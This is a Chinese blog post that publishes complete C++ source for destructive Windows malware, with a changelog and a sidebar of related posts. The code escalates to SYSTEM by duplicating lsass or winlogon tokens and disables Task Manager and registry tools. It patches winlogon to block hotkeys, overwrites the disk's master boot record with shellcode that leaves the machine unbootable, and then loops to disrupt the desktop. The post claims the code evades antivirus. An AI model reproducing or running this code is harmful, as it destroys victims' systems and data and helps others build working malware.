C++ Windows病毒 破坏MBR

最新推荐文章于 2024-08-04 15:14:12 发布
最新推荐文章于 2024-08-04 15:14:12 发布
阅读量480 收藏 6
点赞数 6
文章标签： c++ windows 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64848283/article/details/138258884
版权

项目地址

此处阅读体验更佳

C++代码，推荐Dev-c++编译。

2024年4月27日免杀

#include <bits/stdc++.h>
#include <windows.h>
#include <TlHelp32.h>
#include <winnt.h>
using namespace std;
namespace Windows_Admin { //windows权限管理
	#include <bits/stdc++.h>
	#include <windows.h>
	#include <TlHelp32.h>
	#include <winnt.h>
	using namespace std;
	#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
	LPWSTR ToLPWSTR(char** charArray) {
		int charCount = 0;
		// 计算总的多字节字符数
		while (charArray[charCount] != NULL) {
			charCount++;
		}

		int bufferSize = MultiByteToWideChar(CP_ACP, 0, charArray[0], -1, NULL, 0);
		LPWSTR lpwsz = new WCHAR[bufferSize];
		MultiByteToWideChar(CP_ACP, 0, charArray[0], -1, lpwsz, bufferSize);

		// 对于其他字符串重复转换过程
		for (int i = 1; i < charCount; ++i) {
			bufferSize = MultiByteToWideChar(CP_ACP, 0, charArray[i], -1, NULL, 0);
			LPWSTR temp = new WCHAR[bufferSize];
			MultiByteToWideChar(CP_ACP, 0, charArray[i], -1, temp, bufferSize);

			// 将转换后的宽字符字符串追加到lpwsz
			wcscat(lpwsz, temp);

			// 释放临时宽字符串
			delete[] temp;
		}

		return lpwsz;
	}

	void HKRunator(char *programName) { //程序名称（**全路径**）
		HKEY hkey = NULL;
		DWORD rc;

		rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,                      //创建一个注册表项，如果有则打开该注册表项
		                    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
		                    0,
		                    NULL,
		                    REG_OPTION_NON_VOLATILE,
		                    KEY_WOW64_64KEY | KEY_ALL_ACCESS,    //部分windows系统编译该行会报错， 删掉 “”KEY_WOW64_64KEY | “” 即可
		                    NULL,
		                    &hkey,
		                    NULL);

		if (rc == ERROR_SUCCESS) {
			rc = RegSetValueEx(hkey,
			                   "UStealer",
			                   0,
			                   REG_SZ,
			                   (const BYTE *)programName,
			                   strlen(programName));
			if (rc == ERROR_SUCCESS) {
				RegCloseKey(hkey);
			}
		}
	}
	bool IsAdmin() { //是否为管理员
// return 1;
		BOOL b;
		SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
		PSID AdministratorsGroup;
		b = AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup);
		if (b) {
			if (!CheckTokenMembership(NULL, AdministratorsGroup, &b)) {
				b = FALSE;
			}
			FreeSid(AdministratorsGroup);
		}

		return(b);
	}

	void Get_Admin(char** argv) { //提升权限至管理员
		if (!IsAdmin()) {
			ShellExecute(NULL, "runas", argv[0], NULL, NULL, SW_SHOWNORMAL);
			cout<<"get!"<<endl;
			exit(0);
		}
	}

	bool Get_Permanent_Admin(int args,char** argv) { //永久管理员
//  if (argc < 1) {
//         std::cerr << "No file path provided." << std::endl;
//         return 1;
//     }

		// 获取文件路径
		std::string filePath = argv[0];

		// 注册表路径
		std::wstring regPath = L"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers";

		// 打开注册表项
		HKEY hKey;
		LONG result = RegOpenKeyExW(HKEY_CURRENT_USER, regPath.c_str(), 0, KEY_SET_VALUE, &hKey);
		if (result != ERROR_SUCCESS) {
			std::cerr << "Error opening registry key: " << result << std::endl;
			return 1;
		}

		// 设置注册表值
		std::wstring wFilePath(filePath.begin(), filePath.end());
		result = RegSetValueExW(hKey, wFilePath.c_str(), 0, REG_SZ, reinterpret_cast<const BYTE*>(L"RUNASADMIN"), (wFilePath.length() + 1) * sizeof(wchar_t));
		if (result != ERROR_SUCCESS) {
			std::cerr << "Error setting registry value: " << result << std::endl;
			RegCloseKey(hKey);
			return 1;
		}

		std::cout << "Registry value set successfully." << std::endl;

		// 关闭注册表项
		RegCloseKey(hKey);
	}

	std::wstring GetCommandLineWithArgs(const std::wstring &program, const std::vector<std::wstring> &args) {
		std::wstring cmdLine = program;
		for (const auto &arg : args) {
			cmdLine += L" ";
			cmdLine += L"\"";
			cmdLine += arg;
			cmdLine += L"\"";
		}
		return cmdLine;
	}

	void Get_System(char** argv) { //System
		HANDLE hToken;
		LUID Luid;
		TOKEN_PRIVILEGES tp;
		OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid);
		tp.PrivilegeCount = 1;
		tp.Privileges[0].Luid = Luid;
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken, false, &tp, sizeof(tp), NULL, NULL);
		CloseHandle(hToken);

		//枚举进程获取lsass.exe的ID和winlogon.exe的ID，它们是少有的可以直接打开句柄的系统进程
		DWORD idL, idW;
		PROCESSENTRY32 pe;
		pe.dwSize = sizeof(PROCESSENTRY32);
		HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		if (Process32First(hSnapshot, &pe)) {
			do {
				if (0 == _stricmp(pe.szExeFile, "lsass.exe")) {
					idL = pe.th32ProcessID;
				} else if (0 == _stricmp(pe.szExeFile, "winlogon.exe")) {
					idW = pe.th32ProcessID;
				}
			} while (Process32Next(hSnapshot, &pe));
		}
		CloseHandle(hSnapshot);

		//获取句柄，先试lsass再试winlogon
		HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, idL);
		if(!hProcess)hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, idW);
		HANDLE hTokenx;
		//获取令牌
		OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hTokenx);
		//复制令牌
		DuplicateTokenEx(hTokenx, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hToken);
		CloseHandle(hProcess);
		CloseHandle(hTokenx);
		//启动信息
		STARTUPINFOW si;
		PROCESS_INFORMATION pi;
		ZeroMemory(&si, sizeof(STARTUPINFOW));
		si.cb = sizeof(STARTUPINFOW);
		si.lpDesktop = L"winsta0\\default";
		//char** tmp={argv,"issystem"}

		std::wstring program = ToLPWSTR(argv);
		std::vector<std::wstring> arguments = { L"isSystem"};
		std::wstring commandLine = GetCommandLineWithArgs(program, arguments);

		CreateProcessWithTokenW(hToken, LOGON_NETCREDENTIALS_ONLY, NULL, const_cast<LPWSTR>(commandLine.c_str()), NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
		CloseHandle(hToken);
		exit(0);
	}

	void RaiseToDebug() {
		HANDLE hToken;
		TOKEN_PRIVILEGES tkp;
		if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
			LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
			tkp.PrivilegeCount = 1;
			tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);
			CloseHandle(hToken);
		}
	}

//禁用windows热键
	bool Start() {
		auto module  = GetModuleHandleA("rpcrt4.dll");
		auto func = GetProcAddress(module, "RpcServerTestCancel");
		if(func) {
			auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
			PROCESSENTRY32 pe32;
			pe32.dwSize = sizeof(PROCESSENTRY32);
			if(Process32First(snapshot, &pe32)) {
				do {
					if(!strcmp(pe32.szExeFile, "winlogon.exe")) {
						auto hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
						if(hProcess) {
							DWORD oldpp;
							if(VirtualProtectEx(hProcess,(void *)func, 0x100,PAGE_EXECUTE_READWRITE,&oldpp)) {
								unsigned char buf[] = {0x33,0xc0,0xc3};
								WriteProcessMemory(hProcess, (void *)func,buf, sizeof(buf), NULL);
							}
							CloseHandle(hProcess);
						}
					}
				} while(Process32Next(snapshot, &pe32));
			}


		}
		return true;
	}

//重新开启windows热键
	bool Stop() {
		auto module  = GetModuleHandleA("rpcrt4.dll");
		auto func = GetProcAddress(module, "RpcServerTestCancel");
		if(func) {
			auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
			PROCESSENTRY32 pe32;
			pe32.dwSize = sizeof(PROCESSENTRY32);
			if(Process32First(snapshot, &pe32)) {
				do {
					if(!strcmp(pe32.szExeFile, "winlogon.exe")) {
						auto hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
						if(hProcess) {
							DWORD oldpp;
							if(VirtualProtectEx(hProcess,(void *)func, 0x100,PAGE_EXECUTE_READWRITE,&oldpp)) {
								WriteProcessMemory(hProcess, (void *)func,(void *)func, 3, NULL);
							}
							CloseHandle(hProcess);
						}
					}
				} while(Process32Next(snapshot, &pe32));
			}
		}
		return true;
	}

//无法正常关闭
	void can_not_close() {
		HWND hwnd=GetConsoleWindow();
		HMENU hmenu=GetSystemMenu(hwnd,false);
		RemoveMenu(hmenu,SC_CLOSE,MF_BYCOMMAND);
		LONG style=GetWindowLong(hwnd, GWL_STYLE);
		style&=~(WS_MINIMIZEBOX);
		SetWindowLong(hwnd,GWL_STYLE,style);
		SetWindowPos(hwnd,HWND_TOP,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
		ShowWindow(hwnd,SW_SHOWNORMAL);
		DestroyMenu(hmenu);
		ReleaseDC(hwnd,NULL);
	}

//禁用注册表编辑器
	void Ban_RegistryEditor() {
		HKEY hkey;
		DWORD value = 0;
		RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
		RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
		RegCloseKey(hkey);
	}

//禁用任务管理器
	void Ban_TaskManager() {
		HKEY hkey;
		DWORD value = 1;
		RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
		RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
		RegCloseKey(hkey);
	}

//模拟键盘按下，n为键值
	void Key_Down(int n) {
		keybd_event(n,0,0,0);
	}

//键盘弹起
	void Key_Up(int n) {
		keybd_event(n,0,2,0);
	}

}

void Draw(std::string tp) {
	if (tp == "EXE")
		DrawIcon(GetWindowDC(GetDesktopWindow()), rand() % 1920 + 1, rand() % 1080 + 1, LoadIcon(NULL, IDI_APPLICATION));
	else if (tp == "?")
		DrawIcon(GetWindowDC(GetDesktopWindow()), rand() % 1920 + 1, rand() % 1080 + 1, LoadIcon(NULL, IDI_QUESTION));
	else if (tp == "i")
		DrawIcon(GetWindowDC(GetDesktopWindow()), rand() % 1920 + 1, rand() % 1080 + 1, LoadIcon(NULL, IDI_ASTERISK));
	else if (tp == "ERROR")
		DrawIcon(GetWindowDC(GetDesktopWindow()), rand() % 1920 + 1, rand() % 1080 + 1, LoadIcon(NULL, IDI_HAND));
	else if (tp == "!")
		DrawIcon(GetWindowDC(GetDesktopWindow()), rand() % 1920 + 1, rand() % 1080 + 1, LoadIcon(NULL, IDI_WARNING));
}

using namespace Windows_Admin;


void _run() {
	if (MessageBox(NULL,"run?","run?",MB_YESNO)==IDNO) {
		cout << "Exited" << endl;
		exit(0);
	}
}

/*
int main(){
    LoadLibraryA("rpcrt4.dll");
    RaiseToDebug();
 //禁用ctrl+alt+del
    Start();
    getchar();
    string t;
    cin >> t;
 //启用ctrl+alt+del
    Stop();
    return 0;
}
*/


/*
void DXC_A()
{
 while(1)
    {
        HWND hWnd=GetForegroundWindow();
        ShowWindow(hWnd,SW_HIDE);
    }
}

void DXC_B()
{
 while(1)
    {
        system("start cmd");
    }
}

void DXC_C()
{
 while(1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
    }
}
*/

unsigned char scode[] =
    "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
    "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
    "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

void Main() {
	cout << "正在运行程序..." << endl;

	/*-----------------------前置---------------------------------*/


//置顶
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 100, 100, SWP_NOMOVE | SWP_NOSIZE);

//无法关闭
	can_not_close();

//封禁注册表
	Ban_RegistryEditor();
	//封禁任务管理器
	Ban_TaskManager();

	//禁用系统热键
	LoadLibraryA("rpcrt4.dll");
	
	RaiseToDebug();
	Start();
	
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[512] = {0};

// 重新构造MBR
	memcpy(pMBR, scode, sizeof(scode) - 1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;

	hDevice = CreateFile
	          (
	              "\\\\.\\PHYSICALDRIVE0",
	              GENERIC_READ | GENERIC_WRITE,
	              FILE_SHARE_READ | FILE_SHARE_WRITE,
	              NULL,
	              OPEN_EXISTING,
	              0,
	              NULL
	          );
	if (hDevice == INVALID_HANDLE_VALUE)
		return ;
	DeviceIoControl
	(
	    hDevice,
	    FSCTL_LOCK_VOLUME,
	    NULL,
	    0,
	    NULL,
	    0,
	    &dwBytesReturned,
	    NULL
	);
// 写入病毒内容
	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
	(
	    hDevice,
	    FSCTL_UNLOCK_VOLUME,
	    NULL,
	    0,
	    NULL,
	    0,
	    &dwBytesReturned,
	    NULL
	);
	CloseHandle(hDevice);
//    std::string str_exe_name = "taskmgr.exe";
// DWORD nPid;
// FindProcess(str_exe_name, nPid);
// EnableDebugPriv();
// KillProcess(nPid);

	/*------------------------------------------------------------*/

//
	Key_Down(91);
	Key_Down(187);
	Key_Up(91);
	Key_Up(187);
	while (1) {
		HWND hWnd=GetForegroundWindow();
		ShowWindow(hWnd,SW_HIDE);
		SetCursorPos(rand()%1000,rand()%1000);
		malloc(512);
//        system("start cmd");
		malloc(512);
		Draw("ERROR");
		Key_Down(91);
		malloc(512);
		Key_Down(187);
		malloc(512);
		Key_Up(187);
		malloc(512);
		Key_Down(189);
		malloc(512);
		Key_Up(189);
		Key_Up(91);
		malloc(512);
	}
// thread newThread1(DXC_A);
// thread newThread2(DXC_B);
//  thread newThread3(DXC_C);
}
signed main(int argc, char** argv) {
	ios_base::sync_with_stdio(false);
	cin.tie(0);
	cout.tie(0);


// cerr << 1 << endl;

//提升权限 无权限->管理员->System 方案1
	if (!IsAdmin()) Get_Admin(argv); //管理员
	else if (argc<=1) {
		Get_System(argv);
	}
//提升权限 方案2
//pass

	if (argc>1) cerr << "With System!" << endl;
	_run(); //提示框

//HKRunator(argv[0]); //启动项
	Main(); //病毒主代码
	return 0;
}






/*
uType Option Meaning
MB_OK 弹窗仅包含一个按钮：确认
MB_YESNO 弹窗包含两个按钮：是、否
MB_ABORTRETRYIGNORE 弹窗包含三个按钮：放弃、重试和跳过
MB_YESNOCANCEL 弹窗包含三个按钮： 是、否、取消
MB_OKCANCEL 弹窗包含两个按钮：确认、取消


#include <windows.h>

int main(int argc, char *argv[])
{

 HWND hWnd = ::GetForegroundWindow();

 ::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 100, 100, SWP_NOMOVE | SWP_NOSIZE);

 return FALSE;
}

窗口置顶

添加启动项
#include <Windows.h>
#include <iostream>
#include <string>

// 添加启动项
void AddStartupEntry(const std::wstring& appName, const std::wstring& appPath) {
    HKEY hKey;
    LONG result = RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
    if (result == ERROR_SUCCESS) {
        result = RegSetValueExW(hKey, appName.c_str(), 0, REG_SZ, (BYTE*)appPath.c_str(), (appPath.size() + 1) * sizeof(wchar_t));
        RegCloseKey(hKey);
        if (result == ERROR_SUCCESS) {
            std::wcout << L"启动项 \"" << appName << L"\" 已成功添加" << std::endl;
        } else {
            std::wcerr << L"添加启动项失败: " << result << std::endl;
        }
    } else {
        std::wcerr << L"无法打开注册表项: " << result << std::endl;
    }
}

// 删除启动项
void RemoveStartupEntry(const std::wstring& appName) {
    HKEY hKey;
    LONG result = RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
    if (result == ERROR_SUCCESS) {
        result = RegDeleteValueW(hKey, appName.c_str());
        RegCloseKey(hKey);
        if (result == ERROR_SUCCESS) {
            std::wcout << L"启动项 \"" << appName << L"\" 已成功移除" << std::endl;
        } else {
            std::wcerr << L"移除启动项失败: " << result << std::endl;
        }
    } else {
        std::wcerr << L"无法打开注册表项: " << result << std::endl;
    }
}

int main() {
    // 添加启动项
    AddStartupEntry(L"MyApp", L"C:\\Path\\To\\Your\\Application.exe");

    // 删除启动项
    // RemoveStartupEntry(L"MyApp");

    return 0;
}



更新日志：
0.8.3 2024/4/17 前置-封禁注册表、任务管理器
0.9.2 2024/4/17 前置-窗口置顶、无法关闭
1.1.0 2024/4/17 鼠标乱动
1.2.0 2024/4/17 点击进程消失
1.3.0 2024/4/18 炸内存(start cmd)
1.4.0 2024/4/19 禁用ctrl+alt+del
1.4.5 2024/4/19 禁用所有windows热键
1.5.0 2024/4/19 重复放大缩小
1.6.0 2024/4/20 自动管理员运行
1.6.3 2024/4/20 优化管理员运行
1.6.5 2024/4/20 关闭炸内存(start cmd)
1.7.0 2024/4/20 启动项
kz1.0 2024/4/20 快照1.0
2.0.0 2024/4/20 提权System
2.0.5 2024/4/20 优化码风
2.0.8 2024/4/21 修改问题（_run()运行之后才会生成启动项，在_run()之前，只有提权管理员与提权System运行）
2.1.0 2024/4/21 发现问题（由于windows系统版本不同，此病毒只针对win10有效，正在改进）
2.1.1 2024/4/21 炸内存2.0 malloc()
2.1.2 2024/4/21 炸图标
3.0.0 2024/4/23 MBR KILLER 
*/

运行重启后效果：

Petyrma
关注
C++破坏MBR的代码
12-31
本文实例讲述了C++破坏MBR的代码，该源码只有破坏作用，使系统无法进入。仅供大家参考借鉴之用。请勿用于非法目的。 源码来源于网上。具体代码如下： 代码如下:#include <Windows>  #include <stdio>    //shellcode随便写了点 能破坏MBR,无法进入系统  unsigned char   scode[]=      “\xb8\x12\x00”      “\xcd\x10\xbd”      “\x18\x7c\xb9”;    DWORD writeMBR()  {      DWORD dwBytesReturn
C++修改MBR代码
yeq2012的博客
12-10 1105
会修改MBR的代码
史上最全c++恶搞代码，总结11个病毒程序
最新发布
yaosichengalpha的博客
08-04 1292
史上最全c++恶搞代码，总结11个病毒程序
C++木马破坏MBR病毒
ZuoJiaWuKong的博客
07-23 9089
一分钟了解如何编写一个C++强力的木马病毒，可不要去干坏事哦！
vc++怎么可以直接刷掉MBR？搞笑的吧
weixin_34050005的博客
04-16 138
FILE * fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+"); char buffer[512]; fread(buffer,512,1,fd); //then you can edit buffer[512] as your wish...... fseek(fd,0,SEEK_SET); //很重要 memset(b...
破坏MBR的代码
小驹的专栏
05-20 3456
破坏MBR的代码，只有破坏作用，使系统无法进入。。。 来源于网上。。 #include #include //shellcode随便写了点 能破坏MBR,无法进入系统 unsigned char scode[]= "\xb8\x12\x00" "\xcd\x10\xbd" "\x18\x7c\xb9"; DWORD writeMBR() { DWORD dwBy
c++MBR
a1234567890zyb的博客
08-06 271
(*Φ皿Φ*)环境不好一个包玉刚i有。
C++磁盘MBR修改库
08-27
4. 安全性：确保修改过程不会破坏MBR结构，以免影响系统的正常启动。 总的来说，C++磁盘MBR修改库是用于低级磁盘操作的工具，可以帮助程序员更便捷地处理与MBR相关的任务，但同时也需要开发者具备一定的系统知识和...
一个能改写MBR的病毒(可使电脑无法正常启动，并显示一串文字)
m0_66194602的博客
05-29 1069
这是一个能修改mbr的病毒
C++改MBR病毒2.0（经过编译）
yeq2012的博客
04-22 677
这个程序会覆盖磁盘扇区，一定要非常小心！！！
C++/C木马病毒1.0
yayayaxxx的博客
11-23 1079
今天我做了一个电脑木马病毒，运行结果废了五个电脑 亲测！
电脑病毒（C++）
Young_20220202的博客
07-02 837
电脑病毒（特危险）
C++做的电脑病毒
FlyFree56的博客
08-29 2508
C++病毒代码：仅供学习和参考使用，运行所造成的损失自负。
C/C++用户模式下改写硬盘主引导记录(MBR)
_KaQqi的博客
12-12 7068
CPU一共有四种权限级别：ring0 ring1 ring2 ring3 Windows只是用了ring0和ring3 我们在使用电脑时，一般在ring3模式下工作。在ring3模式下，我们无法使用CPU特权指令in和out。对系统所属的数据，地址空间以及硬件也是有严格的限制的。
C/C++制作电脑病毒教程（纯属娱乐）
Lucky_Glory的博客
06-22 2075
★。
c++病毒（慎用）（电脑报废别怪我）（请用虚拟机！）
XYG12343254的博客
04-26 154
k=getch（）;
C/C++用户模式下备份并改写MBR
_KaQqi的博客
12-19 2054
原理已经说过了，不想再说了。其实用API备份修改硬盘那么复杂。。。我只是想说：库函数也可以打开硬盘。。。。。
c++制作病毒
zjw0521的博客
10-07 3132
这个病毒不是假的 首先这个病毒会把你的电脑的开机密码改了，而且在运行时你还会被卡死、鼠标乱跑，让你没法关机 #include <iostream> #include <windows.h> #include <ctime> #include <cstdlib> #include <cstdio> #include <fstream> using namespace std; int main(){ char copy[80];
C++删MBR完整代码 Windows
03-21
在C++中，删除MBR（Master Boot Record）的完整代码如下： ```cpp #include <iostream> #include <fstream> int main() { std::ofstream mbr("mbr.bin", std::ios::binary); if (mbr.is_open()) { // 将MBR的内容全部置为0 char buffer[512] = {0}; mbr.write(buffer, sizeof(buffer)); mbr.close(); std::cout << "MBR删除成功！" << std::endl; } else { std::cout << "无法打开MBR文件！" << std::endl; } return 0; } ``` 这段代码使用了`ofstream`类来创建一个二进制文件，并将其命名为`mbr.bin`。然后，它将一个大小为512字节的缓冲区填充为全0，并将其写入到文件中，从而实现了删除MBR的效果。 请注意，这段代码只是演示了如何删除MBR，实际上删除MBR可能会导致系统无法启动，请谨慎操作。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值